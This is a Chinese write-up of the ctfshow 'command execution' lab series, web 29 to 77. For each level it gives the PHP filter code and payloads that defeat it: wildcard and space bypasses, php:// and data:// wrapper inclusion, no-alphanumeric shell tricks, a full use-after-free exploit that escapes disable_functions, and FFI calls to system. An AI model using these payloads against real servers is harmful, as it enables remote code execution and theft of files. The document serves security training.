ctfshow_命令执行

web 29

通配符绕过

题目

1
2
3
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);

preg_match :匹配正则表达式 模式分隔符后的”i”标记这是一个大小写不敏感的搜索 模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:

1
2
3
if (preg_match("/\\bweb\\b/i", "web")) :True

if (preg_match("/\\bweb\\b/i", "website")) :False

小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。 payload: (这里利用tac命令 同时记得加分号; )

1
../?c=system('tac f*');

web 30

题目

1
2
3
4
5
6
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
../?c=passthru('tac f*');
# 或者
../?c=echo `tac fl''ag.p''hp`;

在这转载几种命令执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。
如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。

exec : 执行一个外部程序,回显最后一行,需要用echo输出。

shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。

passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。
当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。
常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
`(反引号):同 shell_exec()

web 31

1
2
3
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'/i", $c)){
eval($c);

payload:

1
2
3
4
5
6
# 通配符
../?c=passthru("tac%09f*");
# 无参命令构造 <https://blog.csdn.net/qq_38154820/article/details/107171940>
../?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# include 伪协议进行包含读取
../?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

空格过滤

1
2
3
4
5
6
7
8
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\\x20flag.txt'&&cat$kg
(\\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat过滤

1
2
3
4
5
6
7
8
9
10
11
12
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

web 32

题目

1
2
3
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(/i", $c)){
eval($c);

禁止了括号 利用伪协议

exp

1
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web 33

题目

1
2
if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"/i", $c)){
eval($c);

跟32一样 但是禁了单双引号 (直接不要吧!

exp

1
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web 34

同33

web 35

同上

题目

1
2
if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"|\\<|\\=/i", $c)){
eval($c);

exp

1
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web 36

题目 额外过滤了数字 还是一样

1
2
if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"|\\<|\\=|\\/|[0-9]/i", $c)){
eval($c);

exp

1
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web 37

题目

1
2
3
4
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

利用伪协议读flag

data://

可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

exp + 检查注释

1
2
3
/?c=data://text/plain,<?php echo system('cat fl*');?>
# 或者
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 38

题目

1
2
3
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

禁用了php

exp

1
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 39

题目

1
2
if(!preg_match("/flag/i", $c)){
include($c.".php");

exp

1
/?c=data://text/plain,<?php echo system('cat fl*');?>

web 40

题目

1
2
if(!preg_match("/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\'|\\"|\\,|\\<|\\.|\\>|\\/|\\?|\\\\\\\\/i", $c)){
eval($c);

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,

注意正则中的括号不是英文的, 是过滤了中文的括号

读文件+数组改造

1
2
3
4
5
6
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序 scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,
所以scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

exp

1
2
3
/?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web 41

1
2
3
4
5
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i', $c)){
eval("echo($c);");
}

除了或运算符 都禁止了 |

参考day3

使用or.py生成payload

1
2
3
4
5
PS F:\\python3.10\\payloads> python or.py

[+] your function:system
[+] your command:cat f*
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%00"|"%60%60%60%20%60%2a");

BP POST 不要分号

web 42

1
2
$c=$_GET['c'];
system($c." >/dev/null 2>&1");

可以将/dev/null看作”黑洞”. 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到

exp

1
/?c=a=ta;b=c;cc=$a$b;$cc fla*||ls

或者

1
/?c=cat%20flag.php; 后查看源码部分...

web 43

1
2
if(!preg_match("/\\;|cat/i", $c)){
system($c." >/dev/null 2>&1");

禁止了分号;和cat

我们要让命令回显,那么进行命令分隔即可 利用|| &&

1
/?c=tac%20flag.php||

web 44

同上 flag通配一下就行

web 45

空格绕过

1
2
3
${IFS}
$IFS$9
/?c=tac${IFS}fla?.php||

web 46

1
2
if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*/i", $c)){
system($c." >/dev/null 2>&1");

空格可用%09 (不属于数字)

1
/?c=tac%09fla?.php||

web 47

同上(多过滤了more less 不影响%09

web 48

同上(多过滤了more|less|head|sort|tail|sed|cut|awk|strings|od|curl 不影响%09

web 49

+1

(什么一招鲜吃遍天

1
2
3
/?c=tac%09fla?.php||

/?c=nl<fla?.php||

web 50

1
2
if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`|\\%|\\x09|\\x26/i", $c)){
system($c." >/dev/null 2>&1");

%09被禁了

使用<>代替空格

<>和?同时使用不回显 所以用\代替?

exp

1
/?c=tac<>fla\\g.php||

web 51

tac ban

nl代替

1
/?c=nl<>fla\\g.php||

web 52

<>被ban 但是${IFS}可用

1
2
3
/?c=nl${IFS}fla?||

/?c=nl$IFS/fla%27%27g||

注意这里如果nl的是flag.php而不是flag, 会得到flag{flag_here}这个假flag

web 53

  1. /?c=ls
  2. flag.php index.php readflag
  3. /?c=nl${IFS}readfla?||
  4. 没反应?
  5. /?c=nl${IFS}fla?.php

$IFS符号如果是在当前目录读文件则中间要用’’来分隔一下

如果读其他路径下的如根目录 / 下的文件 则不用使用符分割

$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令

可构造playload:

1
?c=nl${IFS}????.???

web 54

1
2
if(!preg_match("/\\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
system($c);

grep test *file

在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

grep ‘{‘ flag.php (在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)

1
2
3
/?c=grep${IFS}'{'${IFS}fl???php

/?c=uniq${IFS}????.???

或者读取

1
/?c=/bin/?at${IFS}f???????

web 55

很有意思的题目

1
2
if(!preg_match("/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
system($c);

exp_1 数字

发现过滤条件中没有数字

想到base64和 通配匹配到/bin目录下的命令cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

/?c=/bin/base64 flag.php (这里不要用${IFS替换空格}

1
/?c=/???/????64 ????.???

exp_2 bzip2

/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我们可以利用/usr/bin下的bzip2

先将flag.php文件进行压缩,然后再将其下载 /usr/bin/bzip2 flag.php

1
?c=/???/???/????2 ????.???

然后访问/flag.php.bz2即可

exp_3 无字母数字webshell

无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

1
2
3
4
5
6
7
8
import requests

while True:
url = "<http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/>???/????????[@-[]"
r = requests.post(url, files={"file": ('flag.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break

web 56

1
2
if(!preg_match("/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\"|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
system($c);

把数字也ban了

那就只剩下(web55的EXP_3)

1
2
3
4
5
6
7
8
import requests

while True:
url = "<http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/>???/????????[@-[]"
r = requests.post(url, files={"file": ('flag.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break

web 57

1
2
if(!preg_match("/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[/i", $c)){
system("cat ".$c.".php");

过滤了字母、数字、分号、2个通配符

exp_1 官方姿势(但是我没成功啊)

1
2
?c=grep${IFS}'fla'${IFS}fla??php
?c=grep${IFS}'{'${IFS}fla??php

exp_2 取反构造

1
/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web 58-65

1
2
$c= $_POST['c'];
eval($c);

直接用system也在php中被禁止了

exp

1
c=show_source('flag.php');

或者

1
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

或者

1
c=highlight_file('flag.php');

web 66

  1. show_source(‘’)函数禁用
  2. highlight_file(‘flag.php’);是假的flag 没有放在那里面
1
2
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

web 67

var_dump()代替print_r()

1
2
c=var_dump()(scandir("/"));
c=highlight_file('/flag.txt');

web 68

include()代替highlight_file()

1
2
c=var_dump(scandir('/'));
c=include('/flag.txt');

web 69-70

var_dump()函数被ban,那就用var_export()函数

1
2
c=var_export(scandir('/'));
c=include('/flag.txt');

web 71

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
ini_set('display_errors', 0);

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

返回包全是?????

原来是源码中用函数将缓冲区的所有字符全部替换为问号,

那么可以用exit()/die()提前结束,这样就不会将字符替换为问号

直接退出 payload:c=include(‘/flag.txt’);exit(0);

1
2
c=var_export(scandir('/'));exit();
c=include("/flag.txt");die();

web 72

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

存在open_basedir(限制可访问的文件夹),利用 glob伪协议 在筛选目录时不受open_basedir制约

1
2
3
4
5
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();

列出目录

BP URLencode POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

web 73-74

  1. glob伪协议读取目录
1
2
3
4
5
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
  1. flagc.txt
  2. include()读取
  3. 74麻烦一点c=include(‘/flagx.txt’);die();

web 75-76

  1. glob伪协议读取目录
1
2
3
4
5
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
  1. 读取不了
  2. 通过payload扫描 flag36.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');

foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit();
}
exit();

web 77

命令执行最后一题,php7.4,基本上命令执行就告一段落了

[刷题RCTF 2019]Nextphp - kar3a - 博客园 (cnblogs.com)

php7.4 >> FFI >> 如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。

意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码

  1. 列目录
1
2
3
4
5
c=$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
echo($f->__toString()." ");
};
exit();
  1. 读取 FFI调用system函数 重定向readflag的内容到myflag.txt之中就可以了
1
2
3
4
5
c=
$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > myflag.txt';
$ffi->system($a);
exit();

或者

1
2
3
4
5
6
7
8
9
10
11
12
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}

$ffi = FFI::cdef(
"int system(const char *command);");

$ffi->system("/readflag > 1.txt");

exit();